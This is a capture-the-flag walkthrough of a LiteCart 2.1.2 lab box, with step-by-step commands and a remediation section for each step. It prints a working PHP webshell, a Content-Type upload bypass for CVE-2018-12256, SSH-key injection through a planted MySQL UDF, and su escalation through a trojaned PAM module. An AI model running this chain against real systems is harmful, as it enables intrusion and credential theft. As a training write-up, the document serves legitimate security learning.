← all walkthroughs

Compromised

Linux· Hard· Web
owned
2026-07-11
time to own
9m36s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Assessment of compromised ($TARGET) revealed a layered attack chain built on both a known application vulnerability and two levels of prior persistent compromise already resident on the system. An unauthenticated download of the application's full source-code backup from a public web directory allowed diffing the live LiteCart 2.1.2 shop against a clean vendor release, exposing a backdoor an earlier intruder had planted in the admin login page to silently write every submitted credential to a world-readable file. Retrieving that file gave working admin credentials, which were used to exploit CVE-2018-12256 — an authenticated arbitrary-file-upload flaw — to plant a PHP webshell as the web server user.

PHP's shell-execution functions were disabled, but the webshell still permitted file reads; the database configuration file disclosed the MySQL root password, and MySQL's function registry already contained a malicious user-defined function (exec_cmd) installed by the prior intruder. Calling exec_cmd via SQL injected an SSH public key into the database OS user's home directory, giving an interactive shell. On that shell, a timestomped strace capture of an old admin session disclosed the sysadmin account's password in plaintext, completing lateral movement to the first flag.

Privilege escalation to root required only knowing that /etc/ld.so.preload force-loaded a rootkit shared library — and that the system's PAM authentication module had been silently replaced with a trojaned copy whose hardcoded backdoor password, typed at any su prompt, immediately spawned a root shell.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"
export PASSWORD4="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceUnauthenticated sensitive-file exposure / web content discovery (T1083)
Identified LiteCart shop and downloaded an unauthenticated source-code backup
Port scanning revealed Apache 2.4.29 on port 80 (Ubuntu 18.04) and OpenSSH 7.6p1 on port 22. The web root redirected to /shop, a LiteCart 2.1.2 e-commerce install. Directory enumeration surfaced /backup/a.tar.gz — a complete GNU tar archive of the live shop source tree, downloadable without any credentials. This single file handed the entire application codebase to me before any authentication was required.
Curl of /backup/a.tar.gz returned a valid POSIX tar archive; tar -tf listed shop/ shop/.htaccess shop/index.php shop/admin/ among others; the response carried no authentication challenge.
Exact commands 4
Confirm open ports and service versions; reveals Apache 2.4.29 and OpenSSH 7.6p1.
nmap -Pn -sV -p 22,80 $TARGET
Follow the redirect to /shop; X-Powered-By: LiteCart header confirms the application.
curl -si http://$TARGET/
Enumerate top-level directories; reveals /backup/.
gobuster dir -u http://$TARGET/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40 -o gobuster-root.txt
Download the full source backup with no authentication and list its contents.
curl -fsS -o a.tar.gz http://$TARGET/backup/a.tar.gz && tar -tf a.tar.gz | head -30
FixRemove the publicly accessible backup directory from the web rootCritical
WeaknessThe /backup/ directory was reachable by any internet visitor without authentication, exposing a complete tarball of the live application source code. Anyone who downloaded and diffed this archive against a clean vendor release immediately saw the full extent of prior tampering — turning a future compromise into a trivial exercise.
FixDelete or relocate the /backup/ directory — and audit the entire web root for other archives (.tar.gz, .zip), .git directories, .env files, and editor swap files — moving anything sensitive to a path outside the Apache DocumentRoot. If server-side backups are required, store them outside the web root and restrict filesystem permissions so the www-data process cannot read them. Add an automated check to your deployment pipeline that fails the build if any archive or dotfile is found directly under the DocumentRoot.
2Credential HarvestApplication backdoor — credential capture to world-readable file (T1556 / T1552.001)
Source-code diff revealed a backdoored login page writing admin credentials to a world-readable file
Extracting the backup and diffing it against a clean LiteCart 2.1.2 vendor release showed that admin/login.php had been modified: an earlier intruder added a file_put_contents() call that captured every submitted username and password and wrote them to a hidden file named .log2301c9430d8593ae.txt inside the admin directory. That file was world-readable on the live server. A single unauthenticated HTTP request retrieved the plaintext credential string admin:[REDACTED: recovered credential] — every legitimate admin login since the backdoor was planted had refreshed that file with current credentials.
Diff -rq flagged admin/login.php as diverging from the vendor copy; curl of /shop/admin/.log2301c9430d8593ae.txt returned 'User: admin Passwd: [REDACTED: recovered credential]'.
Exact commands 4
Extract the backup to ./shop/.
tar -xf a.tar.gz
Compare extracted source against a clean vendor download (download from the official LiteCart GitHub release); output flags the backdoored admin/login.php.
diff -rq shop/ litecart-2.1.2-clean/ 2>/dev/null
Inspect the injected lines that capture and persist credentials; reveals the log filename.
grep -n 'file_put_contents\|fopen\|\.log' shop/admin/login.php
Fetch the world-readable credential log with no authentication; returns admin:[REDACTED: recovered credential]
curl -fsS http://$TARGET/shop/admin/.log2301c9430d8593ae.txt
FixEradicate the backdoored login page and credential log, and deploy file-integrity monitoringCritical
WeaknessA prior an unauthorised user modified admin/login.php to call file_put_contents(), silently writing every admin username and password to a world-readable hidden file in the same directory. Every legitimate admin login after the backdoor was planted handed an unauthorised user fresh credentials with no visible indicator of compromise to the user logging in.
FixImmediately replace all application files with verified-clean copies from the official LiteCart vendor release (use diff -rq to identify every divergent file, not just login.php). Delete the credential log file (/shop/admin/.log2301c9430d8593ae.txt) and rotate all admin passwords. Add an Apache <Directory> block or .htaccess to deny direct HTTP access to all files under /shop/admin/ that are not the login page itself. Deploy file-integrity monitoring (AIDE, Wazuh FIM, or equivalent) on the web root with alerting on any unauthorized modification; a backdoor of this kind would have been caught within minutes.
3ExploitationAuthenticated arbitrary file upload bypassing Content-Type validation — CVE-2018-12256 (T1190)
Exploited CVE-2018-12256 to upload a PHP webshell via the authenticated vqmods manager
Logging in to the admin panel with the harvested credentials, the vqmods file-manager endpoint (?app=vqmods&doc=vqmods) accepted multipart file uploads and checked only the Content-Type header — not the actual file extension or magic bytes. Submitting a PHP webshell with Content-Type: application/xml bypassed the filter and placed the file at /shop/vqmod/xml/pwn.php. A test request confirmed remote code execution as www-data (uid=33, PHP 7.2.24) on Ubuntu 18.04. The system's disable_functions directive blocked system() and exec(), so the webshell was used for file reads and database connectivity rather than direct shell commands.
Exact commands 4
Extract CSRF token and authenticate to the admin panel; expect a redirect (302) on success.
TOK=$(curl -sc c.txt "http://$TARGET/shop/admin/login.php" | grep -oP 'name="token" value="\K[^"]+'); curl -sb c.txt -c c.txt --data-urlencode 'username=admin' --data-urlencode "password=$PASSWORD" --data-urlencode "token=$TOK" "http://$TARGET/shop/admin/login.php" -o /dev/null -w '%{http_code}'
Craft a webshell using file_get_contents (not blocked) and PHP mysqli for DB queries.
printf '<?php $o=array();if(isset($_GET["f"])){$o[]=file_get_contents($_GET["f"]);}if(isset($_GET["q"])){$m=new mysqli("localhost","root","$PASSWORD4","mysql");$r=$m->query($_GET["q"]);while($row=$r->fetch_assoc()){$o[]=$row;}}echo json_encode($o);?>' > pwn.php
Upload the webshell via the vqmods manager; Content-Type: application/xml bypasses the extension check.
VTOK=$(curl -sb c.txt "http://$TARGET/shop/admin/?app=vqmods&doc=vqmods" | grep -oP 'name="token" value="\K[^"]+'); curl -sb c.txt -F "token=$VTOK" -F 'vqmod=@pwn.php;type=application/xml' "http://$TARGET/shop/admin/?app=vqmods&doc=vqmods"
Confirm file read as www-data; verify the shell is live.
curl -s "http://$TARGET/shop/vqmod/xml/pwn.php?f=/etc/passwd" | python3 -m json.tool
FixPatch LiteCart and enforce server-side upload validation independent of the applicationCritical
WeaknessLiteCart 2.1.2's vqmods file manager accepted uploads based solely on the caller-supplied Content-Type header, with no validation of the actual file extension or magic bytes. Any authenticated admin could upload a PHP file disguised as XML and achieve remote code execution as the web server process.
FixUpgrade LiteCart to the current patched release. Independently of the application version, configure Apache to block script execution inside the vqmod/xml/ upload directory: add php_flag engine Off and RemoveHandler .php .phtml in a <Directory> block or .htaccess for that path. Implement server-side MIME detection using magic-byte inspection (PHP's fileinfo extension or Apache's mod_mime_magic) rather than trusting the client-supplied Content-Type. Restrict admin panel access to known IP ranges at the network perimeter as a defense-in-depth control.
4FootholdMalicious MySQL UDF for OS command execution (T1505.001) / SSH authorized-key injection (T1098.004)
Pre-installed malicious MySQL UDF gave OS command execution; SSH key injection granted a shell as the mysql user
Reading the shop's database configuration file through the webshell disclosed the MySQL root password ([REDACTED: recovered credential]). Querying the mysql.func table revealed that an earlier intruder had already registered a user-defined function named exec_cmd, backed by a rogue shared library (libmysql.so) placed in MySQL's plugin directory. Calling exec_cmd via SQL ran arbitrary OS commands as the mysql system user (uid=111). This was used to create the .ssh directory in mysql's home and write a controlled public SSH key into authorized_keys, converting a SQL query into a persistent interactive shell without touching the firewall.
File read of /var/www/html/shop/includes/config.inc.php disclosed DB_PASSWORD=[REDACTED: recovered credential] SELECT * FROM mysql.func showed exec_cmd backed by libmysql.so; SELECT exec_cmd('id') returned uid=111(mysql); ssh -i mysql_key mysql@$TARGET succeeded.
Exact commands 5
Read the shop config through the webshell to extract the MySQL root password ([REDACTED: recovered credential]).
curl -s "http://$TARGET/shop/vqmod/xml/pwn.php?f=/var/www/html/shop/includes/config.inc.php"
Query mysql.func to confirm the exec_cmd UDF is registered and note its backing library path.
curl -s "http://$TARGET/shop/vqmod/xml/pwn.php?q=SELECT+*+FROM+mysql.func"
Generate an RSA keypair; mysql_key.pub will be injected into the target.
ssh-keygen -t rsa -b 4096 -f mysql_key -N ''
Use exec_cmd to create the .ssh directory and inject my public key.
PUBKEY=$(base64 -w0 mysql_key.pub); curl -s "http://$TARGET/shop/vqmod/xml/pwn.php?q=SELECT+exec_cmd('mkdir+-p+/var/lib/mysql/.ssh+%26%26+echo+${PUBKEY}+|+base64+-d+>>+/var/lib/mysql/.ssh/authorized_keys+%26%26+chmod+600+/var/lib/mysql/.ssh/authorized_keys')"
Log in as the mysql OS user (uid=111) using the injected key.
ssh -i mysql_key -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null mysql@$TARGET
FixAudit and remove the malicious MySQL user-defined function and plugin libraryCritical
WeaknessA prior an unauthorised user had registered a rogue user-defined function named exec_cmd in MySQL's function table, backed by a shared library (libmysql.so) placed in the MySQL plugin directory. Any connection to MySQL — including the shop application's own database account — could call exec_cmd to run arbitrary OS commands as the mysql system user, making the database server a persistent OS-level backdoor.
FixRun DROP FUNCTION IF EXISTS exec_cmd; to de-register the UDF, then delete the backing library (confirm the path via SELECT dl FROM mysql.func before dropping). Audit the entire MySQL plugin directory (/usr/lib/mysql/plugin/) for any .so files not provided by the mysql-server package (dpkg -S <path> will identify unowned files). Review all entries in mysql.func and mysql.proc for other unauthorized objects. Set secure_file_priv to a non-writable path to block future library drops via SELECT INTO DUMPFILE. Restrict the application's MySQL account to only the specific tables and operations it needs — no FILE privilege, no EXECUTE on UDFs.
5Lateral MovementCredential recovery from strace keystroke capture (T1552.001)
Strace keystroke capture on disk disclosed the sysadmin account password in plaintext
On the mysql shell, /var/lib/mysql/strace-log.dat appeared in the home directory. Its metadata showed zeroed sub-second modification timestamps — a classic sign of deliberate timestomping to conceal when the file was placed. The file was a raw strace capture of a previous operator's interactive terminal session. Strace records each character read from stdin as a separate read(0, ...) entry; grepping for those entries and concatenating the captured characters reconstructed the keystrokes of the session, including the sysadmin account's password ([REDACTED: recovered credential]). Direct SSH login as sysadmin succeeded and produced the user flag.
Stat strace-log.dat showed .st_mtim.tv_nsec = 0 (timestomped); grep -a 'read(0' reconstructed [REDACTED: recovered credential] sshpass SSH as sysadmin@$TARGET returned uid=1000 and /home/sysadmin/user.txt.
Exact commands 4
Locate the strace capture in the mysql home directory.
find /var/lib/mysql -maxdepth 2 \( -name '*.dat' -o -name '*.log' \) 2>/dev/null
Inspect modification time; zeroed nanoseconds confirm intentional timestomping.
stat /var/lib/mysql/strace-log.dat
Extract and concatenate per-keystroke strace entries to reconstruct the typed sysadmin password.
grep -a 'read(0' /var/lib/mysql/strace-log.dat | grep -oP '"\K[^"]' | tr -d '\n'; echo
Log in as sysadmin with the recovered password and capture the user flag (<user.txt>).
sshpass -p '$PASSWORD3' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 sysadmin@$TARGET 'id; cat /home/sysadmin/user.txt'
FixPurge the strace credential-capture file and enforce least-privilege filesystem access for service accountsHigh
WeaknessA prior an unauthorised user planted a raw strace capture of an interactive admin session in the MySQL data directory and zeroed its sub-second timestamp to hide its age. The file recorded every character typed at prompts — including the sysadmin account password in plaintext — enabling lateral movement from the database service account to a human administrator account without any additional exploitation.
FixDelete /var/lib/mysql/strace-log.dat immediately and rotate the sysadmin account password (and any other credentials visible in the file). Apply the principle of least privilege to the mysql OS user: it should have write access only to database data files, not free range over its entire home directory. Confine the mysql process with an AppArmor profile (Ubuntu ships a default one at /etc/apparmor.d/usr.sbin.mysqld — ensure it is enforcing) to restrict which paths the process can write to. Audit /var/lib/mysql/ and other service home directories for any unexpected files on a recurring schedule.
6Privilege EscalationLD_PRELOAD dynamic-linker rootkit / trojaned PAM authentication module (T1574.006 / T1556.003)
Pre-loaded rootkit and trojaned PAM module provided a hardcoded backdoor password that escalated any local user to root
From the sysadmin shell, /etc/ld.so.preload contained a single non-standard entry: /lib/x86_64-linux-gnu/libdate.so. This shared library was not part of any installed package and was force-loaded by the dynamic linker into every process at startup. Reversing the binary with readelf and objdump revealed a hook on the C library's read() function: when the content of a read() call matches a hardcoded key stored in .rodata, the hook calls execve() to spawn a root shell. In parallel, comparing the on-disk pam_unix.so at /lib/x86_64-linux-gnu/ against the package-manager-provided copy at /lib/security/ showed the system file had been silently replaced with a trojaned version carrying its own hardcoded backdoor credential. Supplying that credential ([REDACTED: recovered credential]) at the su password prompt immediately granted a root shell and the root flag.
Exact commands 6
Reveals /lib/x86_64-linux-gnu/libdate.so force-loaded into every process; this entry is the rootkit trigger.
cat /etc/ld.so.preload
Dump the read-only data section of the rootkit; contains the hex-encoded master key string used by the read() hook.
readelf -x .rodata /lib/x86_64-linux-gnu/libdate.so
Disassemble the read() hook to confirm the strstr comparison logic and the execve() call that spawns the root shell.
objdump -d /lib/x86_64-linux-gnu/libdate.so | grep -A 20 '<read>'
Differing hashes confirm the system-path copy is a trojaned replacement of the legitimate PAM module.
md5sum /lib/x86_64-linux-gnu/pam_unix.so /lib/security/pam_unix.so
Package-manager integrity check; '5' prefix on the line indicates an MD5 mismatch — tampered file confirmed.
dpkg --verify libpam-modules 2>&1 | grep pam_unix
Use the PAM backdoor password to escalate to root via su and read the root flag (<root.txt>).
expect -c "set timeout 12; spawn sshpass -p {$PASSWORD3} ssh -tt -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null sysadmin@$TARGET; expect -re {[$] $}; send {su -\r}; expect -re {Password:}; send {$PASSWORD2\r}; expect -re {[#] $}; send {id; cat /root/root.txt\r}; expect eof"
FixRemove the LD_PRELOAD rootkit and trojaned PAM module; treat the host as fully compromised and rebuildCritical
WeaknessTwo persistent root-level backdoors were present on the system before our assessment began: (1) /etc/ld.so.preload force-loaded a rogue shared library (/lib/x86_64-linux-gnu/libdate.so) that hooks the read() syscall and spawns a root shell when a hardcoded master key is typed at any prompt, and (2) the system's pam_unix.so was silently replaced with a trojaned copy that accepts a hardcoded password for any PAM authentication event. Either backdoor gives any local user a root shell with nothing more than knowledge of the embedded credential — no exploit required.
FixThis host must be treated as fully owned by an unauthorised user and rebuilt from a verified clean OS image. Before decommissioning for forensic preservation: (1) note /etc/ld.so.preload's contents and delete /lib/x86_64-linux-gnu/libdate.so; (2) reinstall libpam-modules from the official Ubuntu repository (apt-get install --reinstall libpam-modules) to restore the genuine pam_unix.so; (3) run debsums -c to checksum every installed package file and identify additional tampered files beyond the two already found; (4) compare /etc/ld.so.conf.d/, /lib/security/, and /etc/pam.d/ against a known-good Ubuntu 18.04 baseline. Going forward, deploy file-integrity monitoring on system library paths (/lib, /usr/lib, /lib/security) and alert immediately on any write to /etc/ld.so.preload — that file should virtually never change in production.

Attack patterns used

The transferable techniques behind this compromise.

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

Exposed services

22/tcp
80/tcp